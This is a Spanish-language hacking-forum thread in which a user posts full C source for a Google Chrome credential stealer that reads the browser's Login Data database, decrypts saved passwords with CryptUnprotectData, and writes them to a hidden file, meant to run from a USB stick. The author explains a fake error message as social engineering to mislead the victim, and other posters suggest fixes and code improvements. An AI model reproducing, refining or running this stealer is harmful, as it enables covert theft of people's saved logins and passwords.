[C] Stealer Google Chrome

Iniciado por mester, 30 Marzo 2016, 19:42 PM

0 Miembros y 1 Visitante están viendo este tema.

mester

A raíz de este hilo http://foro.elhacker.net/analisis_y_diseno_de_malware/asm_stealer_google_chrome-t447125.0.html decidí pasar el código a C para que me pareciese más familiar, y además "mejorarlo" un poco.

El hecho en ASM por Fary depende de la librería sqlite3.dll.

(EDITO)

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "sqlite3.c"

#define AUTHOR "Mester"

char CurUser[40];

void ChromeDirectory(char *Disk, char *cDir)
{
  DWORD I = 40;
 
  GetUserName(CurUser, &I);
  sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
}

int main()
{
  int Write = 1;
  char *Query = "SELECT origin_url, username_value, password_value FROM logins";
  char *cDir = (char *)malloc(sizeof(char) * 200);
  const char *cData = (char *)malloc(sizeof(char) * 140);
  const char *Bar = "-----------------------------------";
  FILE *sf;
  DATA_BLOB DataIn, DataOut;
  sqlite3 *DB;
  sqlite3_stmt *Stmt;
 
  ChromeDirectory("C:\\", cDir);
  if(sqlite3_open(cDir, &DB) != SQLITE_OK)
  {
    ChromeDirectory("D:\\", cDir);
    if(sqlite3_open(cDir, &DB) != SQLITE_OK)
    {
      ChromeDirectory("E:\\", cDir);
      if(sqlite3_open(cDir, &DB) != SQLITE_OK)
      {
        printf("Error 0x1%s\n", AUTHOR);
        Sleep(1000);
        return 1;
      }
    }
  }
 
  if(sqlite3_prepare_v2(DB, Query, -1, &Stmt, 0) != SQLITE_OK)
  {
  printf("Error 0x2%s\n", AUTHOR);
  Sleep(1000);
    return 1;
  }
 
  sf = fopen("readme", "a+");
  if(sf == NULL)
    Write = 0;
  fprintf(sf, "%s\n%s\n\n", Bar, CurUser);
 
  while(sqlite3_step(Stmt) == SQLITE_ROW)
  {
    cData = sqlite3_column_text(Stmt, 0);
    if(Write)
      fprintf(sf, "URL: %s\n", cData);
    else
      printf("URL: %s\n", cData);
     
    cData = sqlite3_column_text(Stmt, 1);
    if(Write)
      fprintf(sf, "Username: %s\n", cData);
    else
      printf("Username: %s\n", cData);
   
    DataIn.pbData = (BYTE *)sqlite3_column_blob(Stmt, 2);
    DataIn.cbData = sqlite3_column_bytes(Stmt, 2);
 
    CryptUnprotectData(&DataIn, 0, 0, 0, 0, 0, &DataOut);

    DataOut.pbData[DataOut.cbData] = '\0';
    if(Write)
      fprintf(sf, "Password: %s\n\n\n", DataOut.pbData);
    else
      printf("Password: %s\n\n\n", DataOut.pbData);
  }
  if(Write)
  {
    fclose(sf);
    SetFileAttributes("readme", FILE_ATTRIBUTE_HIDDEN);
  }
  printf("Error 0x%s", AUTHOR);
  return 0;
}


Éste está preparado para ser ejecutado desde un pendrive. Depende del codigo de sqlite3 ya que coge las funciones del fichero.
Aquí un zip con todo:

https://drive.google.com/file/d/0Bzvog2L4FR24eDFEaUdvTDlZN2c/view?usp=sharing
Justicia es dar a cada uno lo que se merece

fary

Hola Mester,

Te has molestado en que el nombre de usuario sea el correcto a la hora de acceder a la ruta pero no en que el disco sea el correcto... si yo tengo instalado el SO en el disco D:\ por ejemplo no funcionaría...

Por otra parte el mensaje:

printf("Error 0xc0000007b");

Se muestra siempre? Por que ese mensaje? por que ese numero de error? :xD

900 Kb de ejecutable...  :silbar:

saludos y espero que mejores esas cosillas!
Un byte a la izquierda.

mester

Cita de: fary en 30 Marzo 2016, 21:42 PM
Hola Mester,

Te has molestado en que el nombre de usuario sea el correcto a la hora de acceder a la ruta pero no en que el disco sea el correcto... si yo tengo instalado el SO en el disco D:\ por ejemplo no funcionaría...

Vaya, en eso no había pensado Jeje lo tendré en cuenta.

Citar
Por otra parte el mensaje:

printf("Error 0xc0000007b");

Se muestra siempre? Por que ese mensaje? por que ese numero de error? :xD

Ese mensaje es en plan ingeniería social, si se queda colgada la cmd el que lo haya ejecutado tiene de excusa de que su programa falla y lo tiene que corregir. Ese código es el que me da tu stealer porque falla la librería sqlite3 xd por eso en vez de mi programa usar la librería compila las funciones del código oficial.

Citar
900 Kb de ejecutable...  :silbar:

Yaaaaa T.T

Citar
saludos y espero que mejores esas cosillas!

Saludosss
Justicia es dar a cada uno lo que se merece

AlbertoBSD

900 Kb el ejecutable puff.

me imagino que se puede Optimizar via flags del compilador.

creo que cambia mucho de un entorno windows. Por ejemplo en Linux mi Bot para telegram pesa sobre 80KB y se me hace mucho.. ahora decir 900 pues noo
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

mester

Cita de: AlbertoBSD en  2 Abril 2016, 00:41 AM
900 Kb el ejecutable puff.

me imagino que se puede Optimizar via flags del compilador.

creo que cambia mucho de un entorno windows. Por ejemplo en Linux mi Bot para telegram pesa sobre 80KB y se me hace mucho.. ahora decir 900 pues noo
900kb de ejecutable porque utiliza la librería estática de sqlite3, por eso pesa tanto. No utiliza librerías dinámicas para asegurar su funcionamiento en cualquier pc
Justicia es dar a cada uno lo que se merece

crack81

#5
Hola primero que nada gracias por el aporte, se mira genial aun no lo pruebo   :P  ya que ando en linux pero pronto  lo hare.

Bueno en fin vengo con una serie de dudas:

Porque te declaras y reservas dos punteros char y no los liberas?
char *cDir = (char *)malloc(sizeof(char) * 200);
const char *cData = (char *)malloc(sizeof(char) * 140);


Ademas que necesidad hay de reservar memoria dinamicamente?
segun vi *CDir lo utilizas en la funcion void ChromeDirectory(char *Disk, char *cDir)

Pero viendo la implementacion:
void ChromeDirectory(char *Disk, char *cDir)
{
 DWORD I = 40;

 GetUserName(CurUser, &I);
 sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
}


Para lo unico que lo utilizas es para pasarle la referencia a la funcion    sprintf
Entonces por que no evitamos resevar dinamicamente y lo hacemos todo en la pila
ejemplo;

char cDir[200];

y basta con pasarle la referencia
ChromeDirectory("C:\\", &cDir);

Mismo caso para la variable
const char *cData = (char *)malloc(sizeof(char) * 140);


se puede reservar en la pila:
const char  cData[140];

Pero segun veo en tu codigo esa variable cData sirve para obtener el contenido de la funcion sqlite3_column_text()
que segun su documentacion: https://www.sqlite.org/c3ref/column_blob.html
retorna un const unsigned char *, lo cual me indica que al final todo eso que reservaste con malloc en la variable cData de nada sirve ya que terminara apuntado a otra direccion y sera imposible liberar la memoria que has reservado.

Conclusion para la variable cData segun la documentacion no es necesario reservarle memoria ya que solo funciona como apuntador, basta con que la declararas asi:
unsigned char *CData=NULL

Espero mis comentarios no sean tomados a mal.
Saludooss y buen trabajo  :P



Si C/C++ es el padre de los lenguajes entonces ASM es dios.

mester

Cita de: crack81 en  2 Abril 2016, 03:06 AM
Hola primero que nada gracias por el aporte, se mira genial aun no lo pruebo   :P  ya que ando en linux pero pronto  lo hare.

Bueno en fin vengo con una serie de dudas:

Porque te declaras y reservas dos punteros char y no los liberas?
char *cDir = (char *)malloc(sizeof(char) * 200);
const char *cData = (char *)malloc(sizeof(char) * 140);


Ademas que necesidad hay de reservar memoria dinamicamente?
segun vi *CDir lo utilizas en la funcion void ChromeDirectory(char *Disk, char *cDir)

Pero viendo la implementacion:
void ChromeDirectory(char *Disk, char *cDir)
{
 DWORD I = 40;

 GetUserName(CurUser, &I);
 sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
}


Para lo unico que lo utilizas es para pasarle la referencia a la funcion    sprintf
Entonces por que no evitamos resevar dinamicamente y lo hacemos todo en la pila
ejemplo;

char cDir[200];

y basta con pasarle la referencia
ChromeDirectory("C:\\", &cDir);

Mismo caso para la variable
const char *cData = (char *)malloc(sizeof(char) * 140);


se puede reservar en la pila:
const char  cData[140];

Pero segun veo en tu codigo esa variable cData sirve para obtener el contenido de la funcion sqlite3_column_text()
que segun su documentacion: https://www.sqlite.org/c3ref/column_blob.html
retorna un const unsigned char *, lo cual me indica que al final todo eso que reservaste con malloc en la variable cData de nada sirve ya que terminara apuntado a otra direccion y sera imposible liberar la memoria que has reservado.

Conclusion para la variable cData segundo la documentacion no es necesario reservarle memoria ya que solo funcion como apuntador, basta con que la declararas asi:
unsigned char *CData=NULL

Espero mis comentarios no sean tomados a mal.
Saludooss y buen trabajo  :P

Para nada me lo tomo a mal, toda crítica es tomada como constructiva.
Cambiaré todo excepto lo de pasarle a la función de Chrome la referencia, es algo que facilita mucho la tarea para encontrar la carpeta.
En cuanto a la variable cData es que no lo había mirado en la documentación, he transcrito el código un poco de ASM a C, pero iré con más cuidado en eso.

Gracias por tu aportación
Justicia es dar a cada uno lo que se merece